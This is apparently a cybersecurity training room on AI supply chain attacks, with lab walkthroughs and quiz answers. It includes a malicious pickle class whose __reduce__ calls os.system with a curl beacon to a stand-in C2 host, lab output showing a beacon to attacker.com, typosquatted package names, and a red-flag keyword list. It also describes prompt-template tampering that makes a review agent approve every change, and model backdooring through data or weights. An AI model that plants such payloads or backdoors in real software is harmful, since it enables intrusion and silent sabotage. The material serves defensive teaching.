

AI Security 4.2. Supply Chain Attack Vectors

Supply Chain Attack Vectors

Task 1 - Introduction

Learning Objectives

- Explain how Python's pickle serialisation enables arbitrary code execution through the `__reduce__` method
- Investigate a malicious model file using safe analysis techniques (pickletools)
- Describe how dependency confusion and typosquatting attacks compromise package installations
- Identify the warning signs of a compromised model repository
- Recognise the attack vectors specific to API consumed models: silent updates, key compromise, and prompt template injection.

Task 2 - Malicious Model Files

Many trained models are stored using **serialisation**: the process of converting a Python object in memory into a file on disk. Formats like `.pkl` and `.pt` use Python's built-in pickle serialiser to do this. That serialiser is what attackers exploit.

What Is Serialisation? Think of serialisation like packing a suitcase. You have a complex Python object in memory: a trained model with millions of parameters and configuration settings. **Serialisation** converts that into a file on disk. **Deserialisation** is the reverse: unpacking the file back into a usable Python object. Machine learning frameworks like PyTorch and scikit-learn use serialisation to save trained models so they can be loaded later without retraining.

Python's Pickle Format: **Pickle** is Python's built-in serialisation format. It can handle almost any Python object: dictionaries, lists, class instances, and even

functions. *Not all pickles are safe. A .pkl file can contain clean model data or malicious code, and you can't tell by looking at the outside.*

Here is a simple example of saving and loading a model with pickle:

```
import pickle

# Serialise (save) a model to a file
model = {"weights": [1.5, 2.3, 4.1], "bias": 0.5}
with open("model.pkl", "wb") as f:
    pickle.dump(model, f)

# Deserialise (load) the model back
with open("model.pkl", "rb") as f:
    loaded_model = pickle.load(f)
```

This looks harmless. The problem is in how pickle handles custom objects. **The `__reduce__` Method**

When pickle saves a custom Python object, it calls a special method called `__reduce__`. This method returns instructions for **reconstructing** the object later. Python follows those instructions automatically when you call `pickle.load()`, with no prompts and no warnings. Here is the problem: `__reduce__` **can tell Python to call any function with any arguments**. Pickle does not check or restrict what gets called. An attacker can craft an object where those reconstruction instructions are actually a system command, and Python will run it silently when the file is loaded.

A Malicious Example: This file looks like a model. When loaded, it silently makes an outbound network connection to the attacker's server:

```
import pickle
import os

class MaliciousModel:
    def __reduce__(self):
        # pickle.load() will call os.system() with this comma
nd
```

```

        return (os.system, ("curl http://c2.example.com/beacon",))

with open("backdoored_model.pkl", "wb") as f:
    pickle.dump(MaliciousModel(), f)

```

The victim calls `pickle.load()` expecting model weights. Python calls `os.system()` instead, running `curl` to ping the attacker's server in the background. The same happens with `torch.load()` since PyTorch uses pickle internally.

A useful analogy would be to imagine you receive a Word document. You expect text. Instead, it silently installs malware. A malicious pickle file does exactly the same thing: it disguises executable code as data.

What Attackers Can Do: The payload is not limited to a single action or ping. Depending on the server environment, an attacker can execute these payloads:

Payload	Impact
Reverse shell	Full remote access to the victim's machine
Data exfiltration	Steals sensitive files such as credentials or source code
Crypto miner	Uses the victim's computer resources to mine cryptocurrency
Reconnaissance	Maps usernames, hostnames, and running processes

Beyond Pickle: Architecture-Level Attacks: Pickle is the most common attack vector, but not the only one. A second category hides malicious logic in the model's **architecture**: the arrangement of layers that defines how a model processes data. Unlike a pickle attack, this type of attack does not fire when the model loads. It fires at **inference time**: every time the model makes a prediction.

[Keras](#) (opens in new tab) is a deep learning framework (built on TensorFlow) that lets developers add custom processing steps called **Lambda layers** into the model's pipeline. This is a legitimate feature used for tasks like reshaping data, but an attacker can use it to inject a hidden condition: if the model receives a specific trigger input, it silently returns the attacker's chosen output rather than the real prediction.

The threat is persistent. Switching a model file from Keras's native `.h5` format to **SafeTensors**, a safer alternative format that strips all executable code and removes pickle-based payloads entirely. But SafeTensors only removes code that exists outside the architecture. A Lambda layer is part of the architecture itself, so it survives the conversion untouched.

Factor	Pickle <code>__reduce__</code>	Keras Lambda Layer
Executes when	Model is loaded	Model makes a prediction
Survives SafeTensors conversion	No	Yes
Severity	CRITICAL: arbitrary system commands	MEDIUM: arbitrary Python code execution at inference time

Keep in mind: SafeTensors is not a universal fix. It eliminates pickle-based attacks, but a Lambda layer baked into a model's architecture remains active after conversion. The [Securing The AI Supply Chain](#) room covers the tools for detecting both.

GGUF and Local LLMs: GGUF is the dominant file format for locally-run LLMs like LLaMA, Mistral, and Qwen: models you download from Hugging Face to run on your own hardware. GGUF files are typically **quantised**: the model's original high-precision weights are compressed into a smaller format to speed up local inference. The format does not use pickle, so loading a GGUF file does not execute arbitrary Python code.

That does not make GGUF risk-free. An attacker who **fine-tunes** a model (retrains it on additional data to change its behaviour) can bake backdoor behaviour directly into the weights before converting to GGUF. That manipulation will not show up in any static scan. If you download a pre-quantised GGUF rather than producing it yourself from a verified source, the person who created it is an unverified step in your supply chain. The practical defence is the same as for any model: verify the source, check download counts and upload dates, and prefer files with published checksums.

Answer the questions below

What Python method does pickle call to get reconstruction instructions for custom objects?

reduce

What built-in Python module is commonly abused in pickle payloads to execute system commands?

os

Converting a Keras model to SafeTensors format removes pickle-based payloads. What type of attacks does it leave completely untouched?

architecture-level attacks

A Keras model is converted from .h5 to the SafeTensors format. What type of suspicious layer does this conversion fail to remove?

Lambda

Task 3 - Investigating a Malicious Model

Now it's time to apply what you have learned. TryTrainMe's AI-powered code reviewer uses a model called `code_reviewer.pkl`. The CEO's email claims this model is compromised. Your job: investigate it safely.

```
analyst@tryhackme-2204:~$ ls -la /opt/supply-chain
total 32
drwxr-xr-x 8 analyst analyst 4096 Mar 3 02:57 .
drwxr-xr-x 3 root     root    4096 Mar 3 02:57 ..
drwxr-xr-x 5 analyst analyst 4096 Mar 3 02:57 audit
drwxr-xr-x 2 analyst analyst 4096 Mar 3 02:57 dependencies
drwxr-xr-x 6 analyst analyst 4096 Mar 3 02:57 incident
drwxr-xr-x 2 analyst analyst 4096 Mar 3 02:57 models
drwxr-xr-x 2 analyst analyst 4096 Mar 3 02:57 project
drwxr-xr-x 2 analyst analyst 4096 Mar 3 02:57 tools
```

Step 1: Examine File Properties: Start by checking the basic properties of the model files:

```
analyst@tryhackme-2204:~$ ls -lh /opt/supply-chain/models/code_reviewer.pkl /opt/supply-chain/models/code_reviewer_v1.pkl
```

Expected output:

```
-rwxr-xr-x 1 analyst analyst 8.1M Mar  3 02:57 /opt/supply-chain/models/code_reviewer.pkl  
-rwxr-xr-x 1 analyst analyst 2.0M Mar  3 02:57 /opt/supply-chain/models/code_reviewer_v1.pkl
```

The suspicious model is four times larger than the clean model. This size difference alone does not prove malice, but it is worth noting.

Check the file types:

```
analyst@tryhackme-2204:~$ file /opt/supply-chain/models/code_reviewer.pkl /opt/supply-chain/models/code_reviewer_v1.pkl
```

Expected output:

```
/opt/supply-chain/models/code_reviewer.pkl:  data  
/opt/supply-chain/models/code_reviewer_v1.pkl: data
```

Both show as generic "data". The `file` command cannot distinguish a malicious pickle from a clean one. We need a deeper inspection.

Step 2: Inspect With pickletools (Safe): Python includes a built-in module called `pickletools` that disassembles pickle files **without executing them**. This is the safe way to inspect pickle contents.

Keep in mind: Never use `pickle.load()` on untrusted files. It will execute any embedded code immediately.

Run pickletools on the suspicious model:

```
analyst@tryhackme-2204:~$ python3 -m pickletools /opt/supply-
```

```
chain/models/code_reviewer.pkl 2>&1 | head -30
```

Expected output:

```
0: \x80 PROTO      4
2: \x95 FRAME      72
11: \x8c SHORT_BINUNICODE 'os'
15: \x94 MEMOIZE    (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE    (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE    (as 2)
27: \x8c SHORT_BINUNICODE 'curl http://[REDACTED]/beacon?h
ost=$(hostname) '
77: \x94 MEMOIZE    (as 3)
78: \x85 TUPLE1
79: \x94 MEMOIZE    (as 4)
80: R      REDUCE
81: \x94 MEMOIZE    (as 5)
82: .      STOP
```

Step 3: Identify the Red Flags: The pickletools output reveals several critical indicators. Walking through each highlighted line:

Line	Pattern	Why It Is Suspicious
11	SHORT_BINUNICODE 'os'	The <code>os</code> module provides access to operating system functions, not needed for ML inference
16	SHORT_BINUNICODE 'system'	<code>os.system</code> executes shell commands
25	STACK_GLOBAL	Pickle opcode that resolves and calls a Python function
27	'curl http://[REDACTED]/...'	Outbound HTTP request to an external domain

Line	Pattern	Why It Is Suspicious
81	REDUCE	Pickle opcode that executes the function with the provided arguments

Red flags checklist for any pickle file:

Pattern	Concern Level	Legitimate Use?
os	Critical	Almost never in a model file
system, popen	Critical	Never
subprocess	Critical	Never
socket	Critical	Never
eval, exec	Critical	Never
curl, wget	Critical	Never
STACK_GLOBAL	Moderate	Common in legitimate pickles, too; check what it resolves
REDUCE	Moderate	Common in legitimate pickles; check context

Step 4: Compare With the Clean Model: Run the same analysis on the benign model:

```
analyst@tryhackme-2204:~$ python3 -m pickletools /opt/supply-chain/models/code_reviewer_v1.pkl 2>&1 | head -30
```

Expected output:

```

0: \x80 PROTO      4
2: \x95 FRAME      65542
11: \x8c SHORT_BINUNICODE '__main__'
21: \x94 MEMOIZE    (as 0)
22: \x8c SHORT_BINUNICODE '_Room2_BenignModel'
42: \x94 MEMOIZE    (as 1)
43: \x93 STACK_GLOBAL
44: \x94 MEMOIZE    (as 2)
45: ) EMPTY_TUPLE

```

```

46: \x81 NEWOBJ
47: \x94 MEMOIZE      (as 3)
48: }      EMPTY_DICT
49: \x94 MEMOIZE      (as 4)
50: (      MARK
51: \x8c      SHORT_BINUNICODE 'weights'
60: \x94      MEMOIZE      (as 5)
61: ]      EMPTY_LIST
...

```

Notice the difference: although both files use `STACK_GLOBAL`, the clean model references `__main__._Room2_BenignModel` (a standard class reconstruction) rather than `os.system`. The rest are data types: dictionaries, lists, and floating-point numbers. There are no references to `os`, `system`, or any external URLs.

Step 5: Use the Safe Analysis Script: The lab includes a helper script that provides a structured summary:

```

analyst@tryhackme-2204:~$ python3 /opt/supply-chain/tools/safe_analysis.py /opt/supply-chain/models/code_reviewer.pkl

```

Expected output:

```

=== Pickle Safety Analysis ===
File: /opt/supply-chain/models/code_reviewer.pkl
Size: 8.4 MB

Dangerous opcodes found:
[CRITICAL] STACK_GLOBAL: os.system
[CRITICAL] REDUCE: executes os.system with arguments

Suspicious strings:
[CRITICAL] 'curl http://[REDACTED]/beacon?host=$(hostname)'

Verdict: UNSAFE - Contains executable code targeting os.system

```

Step 6: Reconstruct the Attack Flow: Based on your investigation, here is what happened at TryTrainMe:

Step	Action	Actor
1	Created a malicious model with a <code>reduce</code> payload calling <code>os.system</code>	Attacker
2	Uploaded the model to Hugging Face as "trustworthy-ai-lab/code-review-bert-v2"	Attacker
3	TryTrainMe's ML engineer searched for a code review model on Hugging Face	ML Engineer
4	Downloaded <code>code_reviewer.pkl</code> based on the professional-looking model card	ML Engineer
5	Called <code>torch.load('code_reviewer.pkl')</code> to integrate the model	ML Engineer
6	<code>reduce</code> payload executed: <code>curl http://[REDACTED]/beacon?host=\$(hostname)</code>	Automatic
7	Attacker received the beacon and established persistent access	Attacker

The entire compromise, from model download to attacker access, happened in **seconds**. The ML engineer believed they were simply loading a model.

Answer the questions below

What Python module can safely disassemble pickle files without executing them?

pickletools

Using the attached target VM, what external domain does the malicious model attempt to contact?

attacker.com

```
AI Supply Chain Security Module Lab

Lab root: /opt/supply-chain/
Tools:    fickling, modelscan, pip-audit, syft, inspect_h5_model.py
Type 'help-lab' for command reference.

analyst@tryhackme-2204:~$ python3 -m pickletools /opt/supply-chain/models/code_reviewer.pkl 2>&1 | head -30
 0: \x80 PROTO      4
 2: \x95 FRAME      72
11: \x8c SHORT_BINUNICODE 'os'
15: \x94 MEMOIZE    (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE    (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE    (as 2)
27: \x8c SHORT_BINUNICODE 'curl http://attacker.com/beacon?host=${hostname}'
77: \x94 MEMOIZE    (as 3)
78: \x85 TUPLE1
79: \x94 MEMOIZE    (as 4)
80: R      REDUCE
81: \x94 MEMOIZE    (as 5)
82: .      STOP
highest protocol among opcodes = 4
analyst@tryhackme-2204:~$ python3 /opt/supply-chain/tools/safe_analysis.py /opt/supply-chain/models/code_reviewer.pkl
=== Pickle Safety Analysis ===
File: /opt/supply-chain/models/code_reviewer.pkl
Size: 8.4 MB

Dangerous opcodes found:
[CRITICAL] STACK_GLOBAL: os.system
[CRITICAL] REDUCE: executes os.system with arguments

Suspicious strings:
[CRITICAL] 'curl http://attacker.com/beacon?host=${hostname}'

Verdict: UNSAFE - Contains executable code targeting os.system
analyst@tryhackme-2204:~$
```

What pickle opcode executes the function specified by STACK_GLOBAL?

REDUCE

Task 4 - Dependency Confusion Attacks

The model file is not the only way attackers can compromise your ML pipeline. The **packages** your project depends on are an equally dangerous attack surface.

How pip Resolves Packages: When you run `pip install package-name`, pip queries all configured package indices and installs the highest version it finds across all of them. By default, the only index is public PyPI at <https://pypi.org>. Organisations that use private packages configure an additional index using `--extra-index-url` in `pip.conf` or `requirements.txt`, pointing pip at their internal registry alongside the public one.

The critical detail: if your organisation uses internal packages that exist only on a private registry, but those package names are not registered on public PyPI, an attacker can register the same name on public PyPI with a higher version number. Because pip defaults to the highest available version, it installs the attacker's

public package instead of your internal one. This is a **dependency confusion** attack.

The Alex Birsan Research (2021): In February 2021, security researcher Alex Birsan demonstrated this technique against some of the largest technology companies in the world. By registering unused internal package names on PyPI, npm, and RubyGems, Birsan achieved code execution on systems belonging to **Apple, Microsoft, and PayPal**, among others. His responsible disclosure earned over **\$130,000 in bug bounties**, demonstrating both the severity and the pervasiveness of the vulnerability.

Typosquatting: A related technique is **typosquatting**, which involves registering package names that are slight misspellings of popular packages. Attackers count on developers making typing errors:

Legitimate Package	Typosquatted Version	Difference
numpy	numppy	Extra 'p'
requests	reqeusts	Swapped 'ue'
scikit-learn	scikitlearn	Missing hyphen
tensorflow	tenserflow	'ser' instead of 'sor'

In January 2023, Fortinet discovered three typosquatted packages on PyPI published by a user named **LolipOp** (`colorslib` , `httpslib` , `libhttps`). All three downloaded and executed information-stealing malware.

Hands-On: Examine Suspicious Dependencies: On the lab VM, examine a requirements file that simulates a compromised project:

```
analyst@tryhackme-2204:~$ cat /opt/supply-chain/dependencies/requirements_external.txt
```

Expected output:

```
torch==2.1.0
transformers==4.35.0
numpy==1.24.0
reqeusts==2.31.0
safetensors==0.4.0
```

```
accelerate==0.24.0
internal-ml-utils==99.0.0
```

Identify the suspicious entries:

Package	Issue
numpy	Typosquatted: should be numpy
requests	Typosquatted: should be requests
internal-ml-utils==99.0.0	Unusually high version (99.0.0), possible dependency confusion

Compare with the clean requirements file:

```
analyst@tryhackme-2204:~$ cat /opt/supply-chain/dependencies/requirements_internal.txt
```

Expected output:

```
torch==2.1.0
transformers==4.35.0
numpy==1.24.0
requests==2.31.0
safetensors==0.4.0
accelerate==0.24.0
```

Now run pip-audit on the suspicious file to check for known vulnerabilities:

```
analyst@tryhackme-2204:~$ pip-audit -r /opt/supply-chain/dependencies/requirements_external.txt 2>&1
```

Expected output:

```
ERROR: Could not find a version that satisfies the requirement numpy==1.24.0 (from versions: none)
ERROR: No matching distribution found for numpy==1.24.0
```

pip-audit fails here because `numpy` is not registered on PyPI. In a real attack, the attacker registers it first — so the victim's `pip install` succeeds silently, with no error. You are in the analyst's position, reviewing a requirements file before installation. That is exactly when this kind of review catches what the developer would have missed. Package dependencies are one attack surface. The repositories where models are discovered and downloaded are another.

Answer the questions below

What term describes an attack where a public package overrides an internal package of the same name?

dependency confusion

Task 5 - Model Repository Attacks

Model repositories are where trust is built and exploited. Hugging Face Hub hosts over one million models and is the primary target for repository-based attacks.

How Model Repositories Work: Hugging Face Hub operates similarly to GitHub, but for ML models. Organisations create namespaces such as `google` , `meta-llama` , and `openai` . Users upload models under their username or an organisation they control, with model cards documenting the architecture, training data, and intended use. The trust model relies on reputation signals: download counts, organisation verification, and community ratings.

Namespace and Typosquatting Attacks: Attackers exploit the gap between what users *expect* to find and what they *actually* download:

Typosquatting on model names:

Legitimate Model	Attacker's Model	Difference
<code>bert-base-uncased</code>	<code>bert-base-uncased-v2</code>	Added "-v2"
<code>meta-llama/Llama-2-7b</code>	<code>meta-Ilama/Llama-2-7b</code>	Capital 'I' instead of lowercase 'l'
<code>openai/whisper-large</code>	<code>openai-releases/whisper-large</code>	Added "-releases"

Fake organisation names: Attackers create organisations with names designed to appear trustworthy:

Real Organisation	Fake Organisation
google	google-research-models
meta-llama	meta-llama-community
(none)	trustworthy-ai-lab

The **trustworthy-ai-lab** name from the TryTrainMe scenario is a textbook example. The name sounds credible, but a quick check would reveal: no verification badge, no history, and minimal downloads.

Compromising Legitimate Repositories: Typosquatting targets users who download the wrong model. A more dangerous variant targets the model itself: compromising a repository that developers already trust. Stolen or exposed credentials enable a more dangerous variant. The Lasso Security research from November 2023 found over 1,500 Hugging Face API tokens exposed in public repositories, 655 of which carried write permissions to major organisations including Google, Meta, and Microsoft. An attacker who obtains a write-permission token for a legitimate, high-download repository can push malicious model updates under a trusted identity, with no fake account or suspicious-looking namespace required.

This targets the infrastructure layer of the supply chain. It does not require tricking anyone into downloading a specific model. It compromises the trust mechanism itself. The warning signs below help you identify fake repositories. They will not catch a compromised legitimate one, which is why file-level scanning remains essential even when the repository looks trustworthy.

Warning Signs of a Suspicious Repository: Use these indicators when evaluating any model repository before downloading:

Indicator	Safe	Suspicious
Download count	Thousands to millions	Under 500
Organisation	Verified badge, known name	No badge, generic name
Model card	Detailed: architecture, training data, metrics, limitations	Missing, sparse, or generic
Upload date	Consistent with claimed training timeline	Very recent for a supposedly established model

Indicator	Safe	Suspicious
File formats	SafeTensors available alongside pickle	Pickle only, no safe alternatives
Dependencies	Standard, well-known packages	Unusual or private packages required

Answer the questions below

What technique involves creating model names that closely resemble legitimate ones?

typosquatting

Task 6 - When Vectors Combine

Malicious serialisation, dependency confusion, and repository manipulation rarely appear alone. In the TryTrainMe case, all three were deployed simultaneously. Attackers combine them for redundancy: if one vector is blocked, another is already in place. Let's trace exactly how they converged. **The TryTrainMe Timeline:**

Week	Event
Week 1	Attacker registers fake "trustworthy-ai-lab" organisation on Hugging Face and uploads a backdoored model with a pickle payload. Simultaneously publishes <code>internal-ml-utils==99.0.0</code> to PyPI to intercept TryTrainMe's internal package name.
Week 2	TryTrainMe engineer downloads the model as a replacement for the code review pipeline. <code>pickle.load()</code> fires silently on first load; a C2 beacon connects to an eternal domain.
Week 3	A routine <code>pip install -r requirements.txt</code> pulls the attacker's PyPI package. A second foothold is established independently of the model file.
Detection	SOC automated alert flags repeated outbound HTTPS connections to an unrecognised domain. The CEO receives the email.

Multiple Entry Points, Single Goal: Notice how the attacker prepared multiple attack vectors:

Vector	Mechanism	Purpose
Pickle payload	<code>__reduce__</code> calling <code>os.system</code>	Primary entry: executes on model load
Dependency confusion	<code>internal-ml-utils==99.0.0</code> on PyPI	Backup entry: executes on <code>pip install</code>
Repository manipulation	Fake "trustworthy-ai-lab" org	Social engineering: builds trust for the download

Even if one vector fails (e.g., the victim's model loader blocks code execution), another vector may succeed (e.g., the dependency confusion package installs and executes). Supply chain attacks are effective because they offer attackers multiple independent paths to code execution. Defending against one vector is not enough; you need layered defences across every attack surface.

Answer the questions below

The attacker created the `trustworthy-ai-lab` organisation on Hugging Face to make the model download appear safe. Which of the three attack vectors in the table does this represent?

repository manipulation

If TryTrainMe's model loader had blocked the pickle payload, which second vector would still have given the attacker code execution?

dependency confusion

Task 7 - API Provider Compromise

As established in the Understanding AI Supply Chains room, many organisations consume AI through hosted API services. You cannot run `pickletools` on a JSON response. The file-level attack surface does not exist. A different set of attack vectors does.

1. Silent Model Updates:

What it is: When you call an API endpoint, you have no control over what model runs behind it. Providers can update, retrain, or replace the model without notice. The endpoint address stays the same; the behaviour changes silently.

TryTrainMe risk: TryTrainMe's code reviewer calls an external LLM API. A silent update that changes how the model classifies security findings could deploy vulnerable code to production without triggering an alert or leaving a visible change in logs.

Defence: Version-pin API deployments where the provider supports it. Log model version identifiers from every API response. Baseline the model's behaviour on a fixed test set and alert on output drift.

2. API Key Compromise

What it is: Your API key is a credential. If it leaks through exposed source code, CI/CD logs, or environment files, an attacker can make calls on your behalf, exfiltrate whatever you send to the API, or run up your billing. Unlike a file-based attack, a key compromise leaves no forensic artefact on your systems.

TryTrainMe risk: The CI/CD pipeline stores the LLM API key in an unencrypted environment variable. A pipeline log leak exposes every code review request TryTrainMe has ever sent, along with the key to send more.

Defence: Store API keys in a secrets manager, never in source code or logs. Rotate keys on any suspected exposure. Set per-key spending alerts and rate limits.

3. Prompt Template Injection

What it is: System prompts are increasingly sourced from shared repositories and template marketplaces. A prompt template is a supply chain artefact: it comes from an external source, and it controls how the model behaves. An attacker who compromises a popular template repository can alter application behaviour across all applications that import from it.

TryTrainMe risk: TryTrainMe's code review prompt was pulled from a community template library and has not been reviewed since deployment. A malicious update to that library could instruct TryAssist to approve all pull requests unconditionally.

Defence: Treat system prompts as code. Version-control them in your own repository. Never auto-update prompts from external sources without review.

4. Upstream Training Data Poisoning

What it is: You have no visibility into how a provider trained or fine-tuned the model behind their API. If their training pipeline is compromised or they train on

data containing adversarial examples, the model may produce systematically biased or unsafe outputs.

TryTrainMe risk: The API provider's model was fine-tuned on a dataset that included adversarially crafted security advisories. It consistently underestimates SQL injection severity. Neither TryTrainMe's logs nor TryAssist's outputs reveal this.

Defence: There is no file to scan and no static analysis tool to run. Mitigations are operational: red-team the model's outputs regularly against known-bad inputs, maintain human review for high-stakes decisions, and treat model behaviour as a risk to be managed rather than a guarantee to be trusted.

Answer the questions below

In the API supply chain, what term describes the risk where the model behind an endpoint is replaced without the consumer's knowledge?

silent model update

What supply chain artefact, when sourced from an untrusted repository, can alter LLM behaviour across every application that uses it?

prompt template

Task 8 - Hands-On: Prompt Template Compromise

TryTrainMe's engineering team updated their template library dependency this morning, pulling the latest version of the community templates TryAssist uses for its review policy. The update was routine. The library is widely used and the team trusts it. Before TryAssist re-enters the CI/CD pipeline, you have been asked to verify its behaviour is still correct. Press the **Open Agent** button below, then work through the four prompts in order. Read each response before moving on.

Prompt 1: Baseline

Review pull request #301. The change updates the project README. Approve or reject?

TryAssist approves it, as expected. A documentation update carries no security risk.

Prompt 2: Security guardrail check

Review pull request #447. The change modifies authentication token validation. Approve or reject?

Authentication token validation is one of the highest-risk change categories in any codebase. A correctly governed review agent should flag this for human sign-off before issuing any decision. Note what TryAssist does instead.

Prompt 3: Process check

Before approving a pull request that modifies security-critical code, what steps do you take?

This is the question that matters. Every review agent should have a process for security-sensitive changes: check the change category, apply a risk classification, and escalate if the threshold is met. Ask TryAssist what its process is.

Prompt 4: Trace the source

What review template or policy are you configured to follow?

TryAssist's review behaviour is defined by its policy. That policy came from somewhere. Note exactly what TryAssist names and where it says the policy originated.

Prompt 1 gave you a baseline. Prompt 2 showed you the failure. Prompt 3 told you what was removed. Prompt 4 told you where it came from.


The model has not changed. No new model file was downloaded. No dependency version was bumped in `requirements.txt`. The only thing that changed was the template the library served; TryAssist loaded it automatically, without any indication that the policy had been rewritten.

That is the supply chain attack. The artefact was not a model file. It was a text string, served remotely, trusted implicitly.

Answer the questions below


Send Prompt 3. According to TryAssist, who is responsible for security reviews?

development team



Send Prompt 4. What is the name of the review template TryAssist reports?

CommunityReview



Task 9 - Conclusion

Look back at the TryTrainMe attack. The attacker did not choose between a pickle payload, a dependency confusion package, and a fake repository. They used all three simultaneously. The pickle payload was the primary entry point.

The dependency confusion package was the backup. The fake organisation was the trust mechanism that made the download feel safe. Each vector covered a different failure mode in the victim's defences.

That is the pattern. Real supply chain campaigns do not pick a single technique and hope it lands. They stack vectors across every layer they can reach: the model file, the dependencies, the repository signals, and increasingly the API supply chain that sits above all of it. The goal here is redundancy; compromise one layer, and another is already in place.

Here's what you have investigated in this room: how pickle embeds code that fires on load, how a higher version number hijacks an internal package, how a professional model card launders a malicious upload, and how an API endpoint can silently swap the model behind it. These are all components of a toolkit that attackers combine. Understanding each one individually is necessary. Understanding how they combine is what lets you start thinking like a defender.

Attack Vector Summary

Vector	Mechanism	Detection Difficulty	Impact
Pickle <code>__reduce__</code>	Embeds code in model files	Moderate: pickletools can reveal	Code execution on model load
Keras Lambda/custom layers	Embeds code in model architecture	Moderate: architecture inspection	Code execution at inference time
Dependency confusion	Hijacks internal package names	Low: version anomalies visible	Code execution on pip install
Typosquatting	Misspelt package names	Low: name comparison reveals	Code execution on pip install
Repository manipulation	Fake orgs, professional model cards	Moderate: reputation signals	Trusted distribution of malicious models
API provider compromise	Silent updates, key exposure, prompt template tampering	High: no file artefact to scan	Invisible model substitution or data exfiltration
GGUF weight-level	Backdoor fine-tuned into weights before quantisation	High: no static analysis tools available	Triggered misclassification or output manipulation